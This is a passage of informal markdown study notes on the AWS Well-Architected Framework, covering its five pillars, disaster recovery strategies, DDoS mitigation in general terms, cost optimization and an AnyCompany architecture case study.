practices +- Protect data in transit and at rest +- Keep people away from data +- Prepare for security events + - IAM, Detective Controls and Infrastructure Protection are key parts of the Security Pillar of the Well Archtiected Framework. + + +**Reliability** +- encompasses the ability of a workload to perform its intended function correctly and consistently when it’s expected to. This includes the ability to operate and test the workload through its total lifecycle. This paper provides in-depth, best practice guidance for implementing reliable workloads on AWS. +- Recover from infrastructure or service failures in the case of a catastrophic event +- Dynamically acquire computing resources to meet demand. +- And mitigate disruptions, such as `misconfigurations` and `transient network issues`. +- Test recovery procedures. +- Automatically recover from failure. +- Scale horizontally to increase aggregate system availability. +- Stop guessing capacity. +- Manage change in automation. + - AWS Config track the configuration state of the resources and how the state has changed over time. + - CloudTrail audit who made what API calls on what resources at what time. + - This can help with identifying changes that cause reliability issues. + + +**Performance efficiency** +- The ability to `use computing resources efficiently to meet system requirements`, and to `maintain that efficiency as demand changes and technologies evolve`. +- Democratize advanced technologies. +- Go global in minutes. +- Use serverless architectures. +- Experiment more often. +- Mechanical sympathy. + + +**Cost optimization** +- The ability to run systems to deliver business value at the lowest price point. +- avoid or eliminate unneeded costs and suboptimal resources +- Adopt a consumption model: +- Measure overall efficiency: +- Stop spending on data center operations: +- Analyze and attribute expenditure: +- Use managed and application level services to reduce cost of ownership: + + +--- + +##### Operational excellence Pillar + +The operational excellence pillar includes the ability to run, monitor, and gain insights into systems to deliver business value and to continually improve supporting processes and procedures. + +- Perform operations as code + +- Annotate documentation + +- Make frequent, small, reversible changes + +- Refine operations procedures frequently + +- Anticipate failure + +- Learn from all operational failures + + +Operational Excellence pillar +- the ability to run and monitor systems to deliver business value +- to continually improve supporting processes and procedures. +- Key topics include: managing and automating changes, responding to events, and defining standards to successfully manage daily operations. +- support development and run workloads effectively, gain insight into their operations +- delivers business value through `continuously improve supporting processes and procedures` +- **6 design principles** for operational excellence in the cloud: + + - `Perform operations as code` + - Define entire workload (applications and infrastructure) as code and update it with code + - Implement operations procedures as code and configure them to automatically trigger in response to events. + - limit human error and enable consistent responses to events. + + - `Annotate documentation` + - Automate the creation of annotated documentation after every build. + - can be used by people and systems. + - Use annotations as an input in operations code. + + - `Make frequent, small, reversible changes` + - Design workloads to enable components to be updated regularly. + - Make changes in small increments that can be reversed if they fail (without affecting customers when possible). + + - `精炼 Refine operations procedures frequently` + - opportunities to improve operations procedures. + - Evolve procedures appropriately as workloads evolve. + - Set up regular game days to review all procedures, validate their effectiveness, ensure teams are familiar with them. + + - `预感 Anticipate failure, as it can happen` + - Perform “pre-mortem” exercises to identify potential sources of failure so that they can be removed or mitigated. + - Test failure scenarios and validate the understanding of their impact. + - Test response procedures to ensure effective and that teams are familiar with their execution. + - Set up regular game days to test workloads and team responses to simulated events. + + - `Learn from all operational failures` + - Drive improvement through lessons learned from all operational events and failures. Share what is learned across teams and through the entire organization. + +- 3 planes: + - The **Control plane** creates resources. + - The **Data plane** uses resources. + - And the **management plane** configures the service. + +factors drive operational priorities + +- `Business need`: + - Involving the business and development teams when you set operational priorities. + +- `compliance requirements`. + - External factors might obligate the business to satisfy specific requirements. + - regulatory standards or industry standards + - Sarbanes-Oxley SOX regulatory compliance requirements versus payment card industry PCI + +- `risk management` to balance the risk of decisions against their potential benefit. + + +- AWS Support is the main AWS service that enables how you define operational priorities. + - It provides a combination of tools and expertise to help you define the organization’s goals on AWS. + - The following services and features are also important: + - AWS CloudFormation + - AWS Config + - Amazon CloudWatch + - Amazon Elasticsearch Service + +![Screenshot 2023-10-01 at 23.22.01](/assets/img/post/Screenshot%202023-10-01%20at%2023.22.01.png) + +- The foundational questions for operational excellence + - three best practice areas: `prepare, operate, and evolve`. + + - prepare + - `AWS Config and AWS Config Rules` can be used to create standards for workloads + - to determine whether environments are compliant with those standards before they are put into production. + - monitor the application, platform, and infrastructure components. + - to understand the customer experience and customer behaviors. + - Required procedures should be adequately captured in runbooks and playbooks + - Perform cloud operations: + - Use `Checklist` for standard and required procedures + - help ensure that everything that has happened on the system and that’s been tested, has been done. + - `Guidance`. Check that required procedures are adequately captured in runbooksand playbooks. + - `Validate trained personnel` to make sure everyone is enabled. + + - test responses to operational events and failures + - `AWS CloudFormation`: have consistent and templated sandbox environments for development, test, and production, with increasing levels of operations control. + - use the `CloudWatch Logs agent`, or the collected plugin, to aggregate information about the operating system into CloudWatch + +![Screenshot 2023-10-01 at 23.23.43](/assets/img/post/Screenshot%202023-10-01%20at%2023.23.43.png) + + + - operate + - achieve business and customer outcomes through the successful operation of a workload. + - Manage operational events with efficiency and effectiveness. + - establishing baselines to identify the improvement or degradation of operations, collecting and analyzing metrics, and then validating understanding of how define operational success and how it changes over time. + - `Communicate the operational status of workloads`. + - operational health: health of the workload, and the health and success of the operations that act upon the workload + - Use dashboards and notifications so information can be accessed automatically. + - more people have access to information about the health of the infrastructure + - determine the root cause of the outage of unplanned outage + - mitigate future occurrences and unexpected effects from planned events. + + - CloudWatch: monitor the operational health of a workload. generate dashboard views of metrics + - CloudWatch or third-party applications to aggregate and present business, workload, and operations-level views of operations activities. + - logging enable the identification of workload issues in support of root cause analysis and remediation + + ![Screenshot 2023-10-01 at 23.25.03](/assets/img/post/Screenshot%202023-10-01%20at%2023.25.03.png) + + - evolve + - Dedicate work cycles to making continuous incremental improvements. + - `Regularly evaluate and prioritize opportunities` + - for improving procedures for both workloads and operations + - such as feature requests, issue remediation, and compliance requirements. + - `Identify areas for improvement, include feedback loops` within procedures. + - `Share “lessons learned”` across team: + - Analyze trends within the lessons learned, + - perform cross-team retrospective analysis of operations metrics + - identify opportunities and methods for improvement. + - Implement changes that are intended to bring about improvement, and evaluate the results to determine success + - With AWS developer tools, can implement `build, test, and deployment activities for continuous delivery`. + - can use the results of deployment activities to identify opportunities for improving both deployment and development. + - can perform analytics on the metrics data by integrating data from the operations and deployment activities, which enables you to analyze the impact of those activities against business and customer outcomes. + - This data can be used in cross-team retrospective analysis to identify opportunities and methods for improvement. + - Amazon `Elasticsearch Service` allows to analyze the log data to gain actionable insights quickly and securely. + +![Screenshot 2023-10-01 at 23.25.53](/assets/img/post/Screenshot%202023-10-01%20at%2023.25.53.png) + +- Operations teams must understand business and customer needs so they can effectively and efficiently support business outcomes. + - Operations teams `create and use procedures` to respond to operational events and `validate the effectiveness` of procedures to support business needs. + - Operations teams `collect metrics` to measure the achievement of desired business outcomes. + - As business context, business priorities, and customer needs, change over time, it’s important to `design operations that evolve` in response to change and to incorporate lessons learned through their performance. + +![Screenshot 2023-10-01 at 23.27.00](/assets/img/post/Screenshot%202023-10-01%20at%2023.27.00.png) + +#### Anti-patterns + +- Don’t commit `manual changes` because mistakes can happen, and then these mistakes will be hard to reproduce. + +- don’t `focus on technology metrics alone`. + - the central processing unit—or CPU—and memory might be in good shape, but you might not be delivering value to the customer if you’re not paying attention to latency. + +- `batch changes` + - getting changes approved and pushing them through can be cumbersome. + - Instead of making small, reversible changes, you might want to batch them. + - However, batching can make it difficult to troubleshoot if there are issues. + +- If a mistake is made, always take the time to understand what went wrong, to make sure it doesn’t happen again. + +- Stale documentation + - Having outdated documentation or no documentation can create problems. + - Put a process in place to ensure all documentation is up-to-date. + + +#### support workload + +- Continuously improving the culture. + - This best practice governs the way you operate. + - must recognize that change is constant, and need to continue to experiment and evolve by acting on opportunities to improve. + +- Having a shared understanding of the value to the business. + - Make sure have cross-team consensus on the value of the workload to the business, + - have procedures that can use to engage additional teams for support. + +- Ensuring appropriate number of trained personnel + - to support the needs of workload. + - Perform regular reviews of workload demands, and train existing personnel or adjust personnel capacity as needed. + +- Making sure that governance and guidance are documented and accessible.: + - Ensure that standards are accessible, readily understood, and measurable for compliance. + - Make sure that you have a way to propose changes to standards, and request exceptions. + +- `Checklists`: + - evaluate whether are ready to operate workloads. + - include operational readiness checklists and security checklists. + +- `Runbooks`: + - for events and procedures that understand well and used in a workload. + +- `playbook`: + - for failure scenarios. + +- `Practicing recovery`: identify potential failure scenarios and test the responses—for example, game days, and failure injection. + + +#### operational health + +- Defining expected business and customer outcomes + +- Identifying success metrics. + - measure the behavior of the workload against the expectations of the business and of customers + +- Identifying workload metrics. + - measure the status—and the success—of the workload and its components + +- Identifying operations metrics. + - measure the execution of operations activities, such as runbooks and playbooks. + +- Establishing baselines for metrics + - provide expected values as the basis for comparison. + +- Collecting and analyzing metrics. + - Perform regular, proactive reviews to identify trends and determine responses. + +- Validating insights. + - Review the results of the analysis and responses with cross-functional teams and business owners. Adjust the responses as appropriate. + +- Taking a business-level view of the operations. + - Determine satisfying customer needs, and identify areas that need improvement to reach business goals + +- Determining the priority of operational events based on their impact on the business. + +- Putting processes in place to handle event, incident, and problem management. + +- Processing each alert. + - Any event for which you raise an alert should have a well-defined response, such as a runbook or playbook. + +- Defining escalation paths + - Runbooks and playbooks should have a definition for what triggers an escalation, a process for escalation, and specifically identify the owners for each action + +- Identifying decision makers. + +- Communicating operating status through dashboards. + +- Pushing notifications to communicate with the users + - when the services they consume are being impacted, and when the services return to normal operating conditions, such as via email or SMS + +- Establishing a root cause analysis process that identifies and documents the root cause of an event. + +- Communicating the root cause of an issue or event. + - Make sure understand the root causes of events and their impact, and communicate them as appropriate. Also make sure that you tailor the communications to the target audiences. + +![Screenshot 2023-10-01 at 23.28.38](/assets/img/post/Screenshot%202023-10-01%20at%2023.28.38.png) + +--- + +#### Reliability Pillar + +– Test recovery procedures. +– Automatically recover from failure. +– Scale horizontally to increase aggregate system availability. +– Stop guessing capacity. +– Manage change in automation. + + +- Definition There are three best practice areas for reliability in the cloud: + - Foundations + - Change Management + - Failure Management + + +The Reliability pillar +- the ability of a system to recover from infrastructure or service disruptions, dynamically acquire computing resources to meet demand, and mitigate disruptions such as misconfigurations or transient network issues. +- The goal: keep the impact of any type of failure to the smallest area possible. +- By preparing the system for the worst, you can implement a variety of mitigation strategies for the different components of the infrastructure and applications. +- Key topics include: set up, cross-project requirements, recovery planning, and handling change. + +5 design principles that increase reliability: +- Test recovery procedures + - Test how the systems fail and validate the recovery procedures. Use automation to simulate different failures or to recreate scenarios that led to failures before. This practice can expose failure pathways that you can test and rectify before a real failure scenario. +- Automatically recover from failure + - Monitor systems for key performance indicators and configure the systems to trigger an automated recovery when a threshold is breached. + - This practice enables automatic notification and failure-tracking, and for automated recovery processes that work around or repair the failure. +- Scale horizontally to increase aggregate system availability + - Replace one large resource with multiple, smaller resources + - distribute requests across these smaller resources to reduce the impact of a single point of failure on the overall system. +- Stop guessing capacity + - Monitor demand and system usage, and automate the addition or removal of resources to maintain the optimal level for satisfying demand. +- Manage change in automation + - Use automation to make changes to infrastructure and manage changes in automation. + + +- Definition There are three best practice areas for reliability in the cloud: + - + - Foundations + - AWS IAM: securely control access to AWS services and resources. + - Amazon VPC: provision a private, isolated section of the AWS Cloud to launch AWS resources in a virtual network. + - AWS Trusted Advisor: provides visibility into the limits of the AWS services that you use. + - AWS Shield: a managed service that protects against DDOS attacks, and safeguards web applications that run on AWS. + - Change Management + - AWS CloudTrail: records AWS API calls for the account, and delivers log files for auditing. + - AWS Config: provides detailed inventory of the AWS resources and configuration, continuously records configuration changes. + - Amazon CloudWatch: provides the ability to send alerts about metrics, including custom metrics. + - Auto Scaling: provides automated demand management for a deployed workload. + - Failure Management + - AWS CloudFormation: provides templates for the creation of AWS resources and provisions them in an orderly and predictable fashion. + - Amazon S3: provides a highly durable service to keep backups + - Amazon Glacier: provides highly durable archives. + - AWS Key Management Service KMS: provides a reliable key management system that integrates with many AWS services + + + + + + + + + basic disaster recovery system + + + + + +for disaster recovery DR inside of AWS + +- recovery time objectives, RTOs: the time that business is down, during an outage + +- recovery point objectives, RPOs: the amount of data that will be lost. + +- sorted from the highest RTO and RPO to the lowest RTO and RPO. + - simple backup and restore operation + - + - Advantages: + - Cost effective, simple to get started + - preparation phase: + - Take backups of current systems. + - Store backups in Amazon S3. + - procedures to restore from backups on AWS. + - which AMI to use, and build the own AMI as needed. + - how to restore the system from backups. + - Boot up the required infrastructure. Use AWS CloudFormationto automate the deployment of core networking + - how to switch to a new system. switch Route 53 to point to the site in AWS + - how to configure the deployment. + - RTO: times it takes to launch the infrastructure and restore system from backups. + - RPO: the time since the last backup. + - pilot light architecture. + - + - This entire process can happen in minutes. + - Advantage + - very cost effective + - Preparation + - Take backup of current system. + - Store backups in Amazon S + - which AMI to use, and build the own as needed. + - how to restore the system from backups. + - how to switch to a new system. + - how to configure the deployment. + - In case of a disaster + - Automatically bring up the resources around the replicated core data set. + - Scale the system as needed to handle current production traffic. + - switch over to the new system, and adjust the DNS records to point to AWS. + - RTO: times it takes to detect that it need disaster recovery, and to automatically scale up a replacement system. + - RPO:l depend on how you replicate the data between the on-premises system and the AWS Cloud. + - fully working low-capacity standby architecture. + - + - the main system and a low-capacity system runs on AWS. + - use Route 53 to distribute requests between the main system and the cloud system. + - Advantages: + - can take some production traffic at any time, + - cost savings than a full disaster recovery + - Preparation: + - similar to the pilot light scenario + - All necessary components and instances are running 24/7, but it’s not scaled for production traffic. + - best practice + - continuous testing. “trickle” test method + - have a statistical subset of production traffic go to the disaster recovery site. + - This method can alert you to any issues in infrastructure before rely on the disaster recovery site to handle all production traffic. + - In case of a disaster, you can: + - Immediately fail over the most critical production load. + - Adjust the DNS records to point to AWS. + - And Auto Scale the system further to handle all production load traffic. + - RTO: can take the critical load immediately for as long as it takes to fail over. For all other loads, it will be as long as it takes to scale further + - RPO: depends on the replication type. + - multi-site active-active architecture + - + - have a full-size, production-capable infrastructure within the AWS Cloud. + - all of the servers are already operating at full capacity and can take the load at any time. You also perform data mirroring and replication between two sites. + - Advantage + - can take on all of the production load at any time + - preparation + - similar to that of a low capacity standby + - don’t need to scale in or out with the production load because the environment is already at full capacity + - In the case of a disaster + - can immediately fail over the entire production load. + - point DNS record to ensure that all traffic is sent to disaster recovery site within the AWS Cloud. + - RTO is as long as it takes to fail over + - RPO depends on the replication type. + + +best practices for being prepared + +- start simple and work the way up. + - make sure backups in AWS work. + - incrementally improve the RTO and the RPO as a continuous effort + +- always check for any software licensing issues. + +- exercise the disaster recovery solution + - Practice "game day" exercises. + - Ensure backups, snapshots, AMIs, and other recovery resources work + - monitor infrastructure for quickly implement the disaster recovery plan. + + +advantages of disaster recovery with AWS: + +- Various building blocks are available. + +- have control over costs as it doesn’t require a second environment + - can spin it up quickly, test it, and then spin it back down to save costs. + +- quickly and effectively test the disaster recovery plan. + +- Multiple locations are available worldwide. + +- Managed desktops are available. + +- Amazon WorkSpaces provides a fully managed desktop computing service in the cloud with a variety of solution providers. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +User case: + + + + + + + + + + + + + + + + + + + +The Security pillar +- the ability to protect information, systems, and assets while delivering business value through risk assessments and mitigation strategies. +- The goal of the Security pillar is to keep the impact of any type of failure to the smallest possible area. +- Key topics include: + - protecting confidentiality and integrity of data, + - identifying and managing who can do what (or privilege management), + - protecting systems, + - establishing controls to detect security events + +7 design principles improve security: 5 best practice areas +- Implement a strong identity foundation: + - principle of least privilege + separation of duties + appropriate authorization for each interaction with the AWS resources. + - Centralize privilege management + - reduce or even eliminate reliance on long-term credentials. + - Identity and access management + - IAM, MFA, AWS organizations, Temporary security credential +- Enable traceability: + - Monitor, alert, and audit actions and changes to environment in real time. + - Integrate logs and metrics with systems to automatically respond and take action. + - Detective controls + - AWS CloudTrail: records application programming interface, or API, calls to AWS services. + - AWS Config: provides a detailed inventory of AWS resources and configuration, + - Amazon CloudWatch: monitoring service for AWS resources +- Apply security at all layers: + - Apply defense in depth + - apply security controls to all layers of the architecture + - for example, + - edge network, virtual private cloud, subnet, and load balancer; + - and every instance, operating system, and application + - Infrastructure protection: + - Amazon VPC: provision a private, isolated section of the AWS Cloud. You can then launch AWS resources in this virtual network. + - Amazon Inspectpr, AWS shield, AWS WAF +- Automate security best practices + - Automate security mechanisms to improve the ability to securely scale more rapidly and cost effectively. + - Create secure architectures and implement controls that are defined and managed as code in version-controlled templates. + - To reduce the possibility of human error, it is important to try to automate recovery as much as possible +- Protect data in transit and at rest: + - Classify the data into sensitivity levels and use mechanisms such as encryption, tokenization, and access control where appropriate. + - Data protection + - ELB; EBS; S3; RDS: These services provide encryption capabilities that protect the data in transit and at rest. + - Amazon Macie: auto discovers, classifies, and protects sensitive data + - AWS Key Management Service KMS: create and control keys used for encryption +- Keep people away from data + - To reduce the risk of loss or modification of sensitive data due to human error, + - Create mechanisms and tools to reduce or eliminate the need for direct access or manual processing of data. +- Prepare for security events: + - Have an incident management process that aligns with organizational requirements. + - Run incident response simulations and use tools with automation to increase the speed of detection, investigation, and recovery. + - Insident response + - IAM: to grant the appropriate authorization to incident response teams. + - AWS CloudFormation: to create a trusted environment for conducting investigations. + + + + + +prevent common security exploits + + +distributed denial of service DDOS + +- DDOS attack + - attackers use a variety of techniques that consume the network or other resources, make the website or application unavailable to legitimate end users + - DDOS attack combines the efforts of numerous systems, use multiple hosts, to simultaneously attack the website or application + - The compromised systems are typically infected with Trojans. + - Victims of a DDOS attack consist of both the end targeted system, and all systems that are maliciously used and controlled by the hacker in the distributed attack. + +- Protecting against attacks is a shared responsibility + - AWS + - uses API endpoints that are hosted on a large, internet-scale, world-class infrastructure. + - Use proprietary DDOS mitigation techniques. + - AWS networks are multi-homed across a number of providers to achieve diversity of internet access. + - Customer + - Secure the applications with AWS services + - Safeguard exposed resources + - Minimize the attack surface + - Evaluate soft limits and request increases ahead of time + - Learn normal behavior + - And create a plan for attacks + +- + - minimizing the attack surface area, reduces the number of necessary internet entry points + - eliminates non-critical internet entry points, separates end user traffic from the management traffic. + - obfuscates any necessary internet entry points so that untrusted end users cannot access them + - decouples internet entry points to minimize the effects of the attacks. + - scaling: horizontal scaling and vertical scaling. + - In terms of DDOS, can take advantage of scaling in AWS in three different ways + - First, select the appropriate instance types for the application. + - Next, configure services such as ELB and EC2 Auto Scaling to automatically scale the resources. + - Finally, use the inherent scale that is built into the AWS global services, like Amazon CloudFront and Route 53. + - The classic load balancer from ELB + - only supports valid TCP Transmission Control Protocol requests. + - DDOS attacks such as User Datagram Protocol UDP-floods and SYN floods cannot reach the instances. + - You can set a condition to incrementally add new instances to the Auto Scaling group when network traffic is high, which is typical of DDOS attacks. + - Amazon CloudFront + - filtering capabilities, help ensure only valid TCP connections and HTTP requests are made. + - It can also drop invalid requests + - WAF web application firewall + - applies a set of rules to HTTP traffic. + - filter web requests based on data such as IP addresses, HTTP headers, HTTP body, or uniform resource identifier-or URI-strings. + - mitigating DDOS attacks by offloading illegitimate traffic. + + +the responsibilities of the customer as part of the shared responsibility model + +- Front the application with AWS services., + +- Proprietary DDOS mitigation techniques are used + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Performance Efficiency Pillar +The performance efficiency pillar focuses on the efficient use of computing resources to meet requirements and how to maintain that efficiency as demand changes and technologies evolve. +– Democratize advanced technologies. +– Go global in minutes. +– Use serverless architectures. +– Experiment more often. +– Mechanical sympathy. + + + +The Performance Efficiency pillar +- the ability to use IT and computing resources efficiently to meet system requirements, and to maintain that efficiency as demand changes or technologies evolve. +- Key topics include: + - selecting the right resource types and sizes based on workload requirements, monitoring performance, and making informed decisions to maintain efficiency as business needs evolve. + - Review selections using benchmarking and load tests to validate the system, especially as new services and features are launched. + - monitoring to know when performance degrades, take action before it impacts customers + - And make architectural tradeoffs to maximize performance efficiency. + - For example, you might use a cache to improve performance and reduce the load on the database. + +5 design principles to improve performance efficiency: +- Democratize advanced technologies + - Consume technologies as a service. + - For example, technologies such as NoSQL databases, media transcoding, and machine learning require expertise that is not evenly dispersed across the technical community. In the cloud, these technologies become services that teams can consume. + - Consuming technologies enables teams to focus on product development instead of resource provisioning and management. +- Go global in minutes + - Deploy systems in multiple AWS Regions to provide lower latency and a better customer experience at minimal cost. +- Use serverless architectures + - remove the operational burden of running and maintaining servers to carry out traditional compute activities. + - Serverless architectures can also lower transactional costs because managed services operate at cloud scale. +- Experiment more often + - With virtual and automatable resources, quickly carry out comparative testing of different types of instances, storage, or configurations. +- Have mechanical sympathy + - Use the technology approach that aligns best to what you are trying to achieve. + - For example, consider the data access patterns when you select approaches for databases or storage. + + + + + + + +- The Selection area encompasses compute, storage, database, and network services. + - For compute, Auto Scaling is key to ensuring you have enough instances to meet demand and maintain responsiveness. + - For storage, + - Amazon EBS provides a wide range of storage options—such as solid state drives, or SSDs—and provisioned input-output operations per second, which allows you to optimize for the use case. + - Amazon S3 provides serverless content delivery, and Amazon S3 transfer acceleration enables fast, easy, and secure transfers of files over long distances. + - For databases, + - Amazon RDS provides a wide range of database features—such as provisioned IOPS and read replicas—that allow you to optimize for the use case. + - Amazon DynamoDB provides single-digit millisecond latency at any scale. + - For network, + - Amazon Route 53 provides latency-based routing. + - Amazon VPC endpoints and AWS Direct Connect can reduce network distance and jitter. + +- For the Review area, + - the AWS Blog and the What’s New section on the AWS website are resources for learning about newly launched features and services. + +- For Monitoring services, + - Amazon CloudWatch provides metrics, alarms, and notifications can integrate with the existing monitoring solution. + - You can also use CloudWatch with AWS Lambda to trigger actions. + +- For tradeoffs, + - Amazon ElastiCache, Amazon CloudFront, and AWS Snowball are services that allow you to improve performance. + - In addition, read replicas in Amazon RDS can help you scale read-heavy workloads. + + + + + + + + + + + +User case: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +The Cost Optimization pillar +- the ability to run systems to deliver business value at the lowest price point. +- Key topics include: + - understanding and controlling when money is being spent, + - selecting the most appropriate and right number of resource types, + - analyzing spending over time, + - scaling to meeting business needs without overspending. +- continual process of refinement and improvement of a system over its entire lifecycle. + - From the initial design of the very first proof of concept to the ongoing operation of production workloads, adopting the practices in this paper will enable you to build and operate cost-aware systems that achieve business outcomes and minimize costs, thus allowing the business to maximize its return on investment. + + + +5 design principles that can optimize costs: +- Adopt a consumption model + - Pay only for the computing resources that you require. + - Increase or decrease usage depending on business requirements, not by using elaborate forecasting. + - Stop unused service. +- Measure overall efficiency + - Measure the business output of the workload and the costs that are associated with delivering it. + - Use this measure to know the gains that you make from increasing output and reducing costs. +- Stop spending money on data center operations + - AWS does the heavy lifting of racking, stacking, and powering servers, + - focus on customers and business projects instead of the IT infrastructure. +- Analyze and attribute expenditure 花费 + - The cloud makes it easier to accurately identify system usage and costs, and attribute IT costs to individual workload owners. + - helps you measure return on investment (ROI) and gives workload owners an opportunity to optimize their resources and reduce costs. +- Use managed and application-level services to reduce cost of ownership + - reduce the operational burden of maintaining servers for tasks such as sending email or managing databases. + - managed services operate at cloud scale, cloud service providers can offer a lower cost per transaction or service. + + + +“Everything fails, all the time.” One of the best practices that is identified in the AWS Well-Architected Framework is to plan for failure (or application or workload downtime). +- to architect the applications and workloads to withstand failure. +- 2 important factors cloud architects consider when designing architectures to withstand failure: reliability and availability. +- Reliability: a measure of the system’s ability to provide functionality when desired by the user. +- Availability: the percentage of time that a system is operating normally or correctly performing the operations expected of it (or normal operation time over total time). + + + + +A highly available system +- can withstand 承受 some measure of degradation下降 while still remaining available. +- downtime is minimized as much as possible and minimal human intervention 介入 is required. +- A highly available system can be viewed as a set of system-wide, shared resources that cooperate to guarantee essential services. +- High availability combines software with open-standard hardware to minimize downtime by quickly restoring essential services when a system, component, or application fails. +- Services are restored rapidly, often in less than 1 minute. + + + + + + + + + +The key AWS feature supports cost optimization is cost allocation tags + +- help to understand the costs of a system. + +- These tags are used to tag all resources from EC2 instances to EBS volumes with cost center tags. + +- These tags enable you to know which cost center is incurring the most AWS charges. + +- This information can help you consolidate or trim down expenses. +The following services and features are important in the four areas of cost optimization: + +- Cost-effective resources: + - use Reserved Instances and prepaid capacity to reduce the costs. + - use Cost Explorer to see patterns in how much you spend on AWS resources over time, identify areas that need further inquiry, and see trends that you can use to understand the costs. + +- Matched supply and demand: + - AWS Automatic Scaling: add or remove resources to match demand without overspending. + +- Expenditure awareness: + - Amazon CloudWatch alarms and Amazon Simple Notification Service SNS notifications will warn you if you go over, or are forecasted to go over, the budgeted amount. + +- Optimizing over time: + - The AWS Blog and What’s New section on the AWS website are resources for learning about newly launched features and services. + - AWS Trusted Advisor inspects the AWS environment and finds opportunities to save money by eliminating unused or idle resources, or committing to Reserved Instance capacity. + + +Amazon Web Services Free Tier + +- includes services with a free tier available for 12 months following the AWS sign-up date. + +- For example, + - can use 750 hours per month of Amazon EC2, + - can use 5 GB of standard Amazon S3 storage with up to 20,000 get requests and 2,000 put requests. + +- Free usage of other services is also available. + +- AWS Free Tier Non-Expiring Offers: Some services have non-expiring offers that continue after the 12-month term. + +- For example, you can get up to 1,000 Amazon SWF workflow executions for free each month. + +- AWS Free Tier Eligible Software: The AWS Marketplace offers more than 700 free and paid software products that run on the AWS Free Tier. If you quality for the AWS Free Tier, you can use these products on an Amazon EC2 t2.micro instance for up to 750 hours per month, and pay no additional charges for the Amazon EC2 instance during the 12 months. + +- Software charges might still apply for paid software, but some software applications are free.After you create the AWS account, you can use any of the products and services for free within certain usage limits through the AWS Free Tier. Select the link to learn more and create the free tier account. https://aws.amazon.com/free/ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +To optimize costs, consider four consistent, powerful drivers: +- Right-size – right balance of instance types. servers can be either sized down or turned off, and still meet the performance requirements. + - +- Increase elasticity – Design the deployments to reduce the amount of server capacity that is idleby implementing deployments that are elastic, such as deployments that use automatic scaling to handle peak loads. + - +- Optimal pricing model – Recognize the available pricing options. Analyze the usage patterns to n run EC2 instances with the right mix of pricing options. + - +- Optimize storage choices – Analyze the storage requirements of the deployments. Reduce unused storage overhead when possible, and choose less expensive storage options if they can still meet the requirements for storage performance. + - + + + + + + + +optimizing cost with caching + + + +Databases can be cached to Amazon ElastiCache +Database types include NoSQL instances like MongoDB or Amazon DynamoDB, and also include relational database servers. + + + +--- + +#### Example + +![Screenshot 2023-10-01 at 22.53.20](/assets/img/post/Screenshot%202023-10-01%20at%2022.53.20.png) + +![Screenshot 2023-10-01 at 22.53.43](/assets/img/post/Screenshot%202023-10-01%20at%2022.53.43.png) + + +**Fly and Snap** + +![Screenshot 2023-10-01 at 22.54.37](/assets/img/post/Screenshot%202023-10-01%20at%2022.54.37.png) + +- Multiple devices (camera) + - mounted on lightweight aircraft, capture imagery of major cities on a scheduled basis. + - generates imagery assets that are time-stamped with a clock that is synchronized with the aircraft’s clock. + - The imagery assets are streamed to the onboard Capture machine that has an external storage array. The Capture machine is also connected to the aircraft’s flight system and continuously captures navigation data—suchas global positioning system (GPS) data, compass readings, and elevation. + +- When it returns to base, the storage array is disconnected and taken into an ingest bay. Here, the storage array is connected to an `Ingest machine`. + +- The Ingest machine creates a compressed archive of the storage array and uses file transfer protocol (FTP) to send it to an EC2 instance Preprocessor machine. + - After the storage array has been processed, the archive is written to tape (for backup). The storage array is then cleared and ready for the next flight. + - Tapes are held offsite by a third-party backup provider. +- The Preprocessor machine + - periodically processes new datasets that have been uploaded to it. + - extracts all the imagery assets and stores in an S3 bucket. + - It notifies the Imagery service about the files and provides it with the flight information. +- The Imagery service + - uses the flight information to compute a 3D orientation and location for every moment of the flight, which it correlates to the imagery file timestamps. + - This information is stored in a relational database management system (RDBMS) that is based in Amazon EC2, with links to the imagery assets in Amazon S3. + +**Show and Sell** + +![Screenshot 2023-10-01 at 22.56.58](/assets/img/post/Screenshot%202023-10-01%20at%2022.56.58.png) + +- customers visit the AnyCompany website + - see images and videos of the physical product. + - These images are in a variety of formats (for example, a large-scale, walk-around map). + - The website uses `Elastic Load Balancing` with Hypertext Transfer Protocol Secure (HTTPS), and an `Auto Scaling group of EC2 instances` that run a content management system. +- Static website assets are stored in an `S3 bucket`. + - Customers can select a location on a map and see a video preview of their cityscape. choose the physical size of the map, choose the color scheme (available in white, monochrome, or full color), place light-emitting diode (LED) holes in the map to build illuminated maps. + - The `Mapping service` correlates the map location input from the website with the `Imagery service` to confirm if imagery is available for that location. + - If the customers order their cityscape. + - Customers pay by credit card. Credit card orders are processed by a certified third-party payment card industry (PCI)-compliant provider. + - AnyCompany does not process or store any credit card information. + - After the website receives payment confirmation, it instructs the Order service to push the order to production. + - Orders details are recorded in the Show and Sell database, an RDBMS that is based in Amazon EC2. + +- To initiate a video preview or full print of an order + - the Orders service places a message on the Production queue, which allows the Render service to indicate when a preview video is available. +- The Order service also reads from the Order status queue and records status changes in the Show and Sell database. +- Customers can track their order through manufacturing and see when it has been dispatched, which is handled by a thirdparty through the broker Dispatch service. + + + +**Make and Ship** + +![Screenshot 2023-10-01 at 22.58.32](/assets/img/post/Screenshot%202023-10-01%20at%2022.58.32.png) + +- AnyCompany has proprietary technology that enables it to generate 3D models from a combination of photographs and video (extracting structure from motion). +- The `Render serviceis` + - a fleet of g2.2xlarge instances. + - takes orders from the Production queue and generates the 3D models that are stored in an S3 bucket. + - also uses the 3D models to create flyby videos so that customers can preview their orders . These videos are stored in a separate S3 bucket. + - Once a year, the team deletes old previews. However, models are kept in case they are needed for future projects. + - After a customer places an order, a message is placed in the Print queue with a link to the 3D model. At each stage of the Make and Ship process, order status updates are posted to the Order status queue. This queue is consumed by the AnyCompany website, which shows the order history. + - The Make and Ship team has four 3D printers that print high-resolution and detailed color-control models. An on-premises Print conductor machine takes orders from the Print queue and sends them to the next available printer. The Print conductor sends order updates to the Order status queue. The Print conductor sends a final update when the order has been completed, passed quality assurance, and is ready for dispatch. + +For each Well-Architected Framework question, +- What is the CURRENT STATE (what is AnyCompany doing now)? +- What is the FUTURE STATE (what do you think should be doing)? + + + +--- + +## Service access + +All three options are built on a common REST-like API that serves as the foundation of AWS. To learn more about tools you can use to develop and manage applications on AWS, + +- **AWS Management Console**: The console provides a rich graphical interface to a majority of the features offered by AWS. + +- **AWS Command Line Interface (AWS CLI)**:The AWS CLI provides a suite of utilities that can be launched from a command script in Linux, 